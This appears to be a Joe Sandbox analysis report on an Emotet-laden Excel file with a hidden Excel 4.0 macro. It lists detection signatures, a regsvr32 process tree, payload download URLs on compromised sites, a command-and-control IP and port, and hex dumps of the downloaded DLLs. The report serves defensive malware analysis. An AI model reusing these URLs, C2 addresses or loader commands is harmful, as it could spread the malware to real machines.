Edit tour

Windows Analysis Report
DETAILS 25922194612.xls

Overview

General Information

Sample Name:	DETAILS 25922194612.xls
Analysis ID:	632071
MD5:	3cfaa4009799dc19f12161241bbf7b03
SHA1:	f36b5b095c84f4cf7e01eaf23de008a3362843a8
SHA256:	96eaa313abb56196eea9e8c4c20f78166b79894652e1cff740729d17aace22f0
Tags:	SilentBuilderxls
Infos:

Detection

Hidden Macro 4.0, Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Document exploit detected (drops PE files)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

System process connects to network (likely due to code injection or exploit)

Document exploit detected (creates forbidden files)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Office process drops PE file

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Drops PE files to the user root directory

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Queries the volume information (name, serial number etc) of a device

Contains functionality to check if a debugger is running (IsDebuggerPresent)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Detected potential crypto function

Found potential string decryption / allocating functions

Found evasive API chain (may stop execution after checking a module file name)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to dynamically determine API calls

Found dropped PE file which has not been started or loaded

Potential document exploit detected (performs DNS queries)

IP address seen in connection with other malware

Downloads executable code via HTTP

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

PE file contains an invalid checksum

Drops PE files

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Detected TCP or UDP traffic on non-standard ports

Registers a DLL

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Drops PE files to the user directory

Found large amount of non-executed APIs

Potential document exploit detected (performs HTTP gets)

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w7x64

EXCEL.EXE (PID: 1200 cmdline: "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding MD5: D53B85E21886D2AF9815C377537BCAC3)

regsvr32.exe (PID: 2552 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1832 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\KuSAkvGE\rWFJGQNl.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1472 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1680 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\Ejpzh\qlDqXeGagKnBKzd.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1956 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1972 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\FiPeSYwmr\Wuiko.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 2608 cmdline: C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx MD5: 59BCE9F07985F8A4204F4D6554CFF708)

regsvr32.exe (PID: 1424 cmdline: C:\Windows\system32\regsvr32.exe "C:\Windows\system32\PLVmoWLosZJQb\bTjwWDTWvnC.dll" MD5: 59BCE9F07985F8A4204F4D6554CFF708)

svchost.exe (PID: 2076 cmdline: C:\Windows\System32\svchost.exe -k WerSvcGroup MD5: C78655BC80301D76ED4FEF1C1EA40A7D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000B.00000002.1219777301.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.1218923490.00000000002C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.935437838.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.950850615.00000000002C0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000005.00000002.935123835.00000000003E0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.944087304.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000007.00000002.1219645231.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1218912030.0000000000150000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1218942103.00000000001D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.926762397.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000A.00000002.951348566.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000003.00000002.926422500.0000000000300000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000008.00000002.943168453.00000000002D0000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
0000000B.00000002.1218930467.0000000000220000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
00000009.00000002.1219706572.0000000180001000.00000020.00001000.00020000.00000000.sdmp	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Unpacked PEs

Source	Rule	Description	Author
10.2.regsvr32.exe.2c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.300000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
10.2.regsvr32.exe.2c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.150000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.3e0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
9.2.regsvr32.exe.150000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.2.regsvr32.exe.220000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.2c0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
5.2.regsvr32.exe.3e0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
11.2.regsvr32.exe.220000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
3.2.regsvr32.exe.300000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.1d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
7.2.regsvr32.exe.2c0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
4.2.regsvr32.exe.1d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.2d0000.0.raw.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
8.2.regsvr32.exe.2d0000.0.unpack	JoeSecurity_Emotet_1	Yara detected Emotet	Joe Security
Click to see the 11 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: DETAILS 25922194612.xls

ReversingLabs: Detection: 41%

Antivirus detection for URL or domain

Source: http://learnviaonline.com/wp-admin/qGb/	Avira URL Cloud: Label: malware
Source: http://milanstaffing.com/images/D4TRnDubF/	Avira URL Cloud: Label: malware
Source: http://kolejleri.com/wp-admin/REvup/	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: kolejleri.com	Virustotal: Detection: 11%	Perma Link
Source: milanstaffing.com	Virustotal: Detection: 6%	Perma Link
Source: learnviaonline.com	Virustotal: Detection: 8%	Perma Link
Source: stainedglassexpress.com	Virustotal: Detection: 5%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	ReversingLabs: Detection: 60%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr1.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr2.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr3.ocx	ReversingLabs: Detection: 58%
Source: C:\Users\user\uxevr4.ocx	Metadefender: Detection: 28%	Perma Link
Source: C:\Users\user\uxevr4.ocx	ReversingLabs: Detection: 60%
Source: C:\Windows\System32\Ejpzh\qlDqXeGagKnBKzd.dll (copy)	ReversingLabs: Detection: 58%
Source: C:\Windows\System32\FiPeSYwmr\Wuiko.dll (copy)	ReversingLabs: Detection: 58%
Source: C:\Windows\System32\KuSAkvGE\rWFJGQNl.dll (copy)	ReversingLabs: Detection: 58%
Source: C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)	Metadefender: Detection: 28%	Perma Link
Source: C:\Windows\System32\PLVmoWLosZJQb\bTjwWDTWvnC.dll (copy)	ReversingLabs: Detection: 60%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr3.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr1.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr4.ocx	Joe Sandbox ML: detected
Source: C:\Users\user\uxevr2.ocx	Joe Sandbox ML: detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe	Code function: 4_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	4_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 7_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	7_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 9_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	9_2_000000018000BEF0
Source: C:\Windows\System32\regsvr32.exe	Code function: 11_2_000000018000BEF0 FindFirstFileW,FindNextFileW,FindClose,	11_2_000000018000BEF0

Software Vulnerabilities

Document exploit detected (drops PE files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: Jf8[1].dll.0.dr

Jump to dropped file

Document exploit detected (creates forbidden files)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll	Jump to behavior

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Source: global traffic

DNS query: name: learnviaonline.com

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 103.171.181.223:80

Source: global traffic

TCP traffic: 192.168.2.22:49173 -> 103.171.181.223:80

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe

Network Connect: 165.22.73.229 8080

Jump to behavior

Source: Joe Sandbox View

ASN Name: MYLOC-ASIPBackboneofmyLocmanagedITAGDE MYLOC-ASIPBackboneofmyLocmanagedITAGDE

Source: Joe Sandbox View

IP Address: 103.171.181.223 103.171.181.223

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 07:10:53 GMTServer: ApacheCache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 07:10:53 GMTContent-Disposition: attachment; filename="Jf8.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b337ddc562=1653289853; expires=Mon, 23-May-2022 07:11:53 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 07:10:53 GMTContent-Length: 371200Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 23 May 2022 07:11:01 GMTServer: ApacheX-Powered-By: PHP/7.3.33Cache-Control: no-cache, must-revalidatePragma: no-cacheExpires: Mon, 23 May 2022 07:11:01 GMTContent-Disposition: attachment; filename="1Cb5zOjLgWGDemz55C5.dll"Content-Transfer-Encoding: binarySet-Cookie: 628b3385b2519=1653289861; expires=Mon, 23-May-2022 07:12:01 GMT; Max-Age=60; path=/Last-Modified: Mon, 23 May 2022 07:11:01 GMTContent-Length: 371200X-Content-Type-Options: nosniffVary: User-AgentKeep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8ikikikkikkikkikhkikkikkikk
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKConnection: Keep-AliveKeep-Alive: timeout=5, max=100x-powered-by: PHP/7.0.33set-cookie: 628b33891c2fb=1653289865; expires=Mon, 23-May-2022 07:12:05 GMT; Max-Age=60; path=/cache-control: no-cache, must-revalidatepragma: no-cachelast-modified: Mon, 23 May 2022 07:11:05 GMTexpires: Mon, 23 May 2022 07:11:05 GMTcontent-type: application/x-msdownloadcontent-disposition: attachment; filename="T35PENELLOsp.dll"content-transfer-encoding: binarycontent-length: 371200date: Mon, 23 May 2022 07:11:05 GMTserver: LiteSpeedvary: User-AgentData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 99 b3 07 38 dd d2 69 6b dd d2 69 6b dd d2 69 6b b2 a4 c3 6b 83 d2 69 6b b2 a4 f7 6b d7 d2 69 6b d4 aa fa 6b da d2 69 6b dd d2 68 6b 84 d2 69 6b b2 a4 c2 6b f6 d2 69 6b b2 a4 f2 6b dc d2 69 6b b2 a4 f3 6b dc d2 69 6b b2 a4 f4 6b dc d2 69 6b 52 69 63 68 dd d2 69 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 f5 7b 87 62 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 0a 00 00 04 02 00 00 a2 03 00 00 00 00 00 80 35 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 05 00 02 00 00 00 00 00 05 00 02 00 00 00 00 00 00 00 06 00 00 04 00 00 c7 1d 06 00 02 00 40 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 b0 aa 02 00 84 00 00 00 e4 a1 02 00 50 00 00 00 00 00 03 00 fc e9 02 00 00 f0 02 00 cc 0f 00 00 00 00 00 00 00 00 00 00 00 f0 05 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 02 00 98 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 fa 03 02 00 00 10 00 00 00 04 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 34 8b 00 00 00 20 02 00 00 8c 00 00 00 08 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 37 00 00 00 b0 02 00 00 14 00 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 0f 00 00 00 f0 02 00 00 10 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 fc e9 02 00 00 00 03 00 00 ea 02 00 00 b8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 06 00 00 00 f0 05 00 00 08 00 00 00 a2 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$

Source: global traffic	HTTP traffic detected: GET /wp-admin/qGb/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: learnviaonline.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /wp-admin/REvup/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: kolejleri.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /classes/05SkiiW9y4DDGvb6/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: stainedglassexpress.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /images/D4TRnDubF/ HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: milanstaffing.comConnection: Keep-Alive

Source: global traffic

TCP traffic: 192.168.2.22:49177 -> 165.22.73.229:8080

Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
Source: unknown	TCP traffic detected without corresponding DNS query: 165.22.73.229
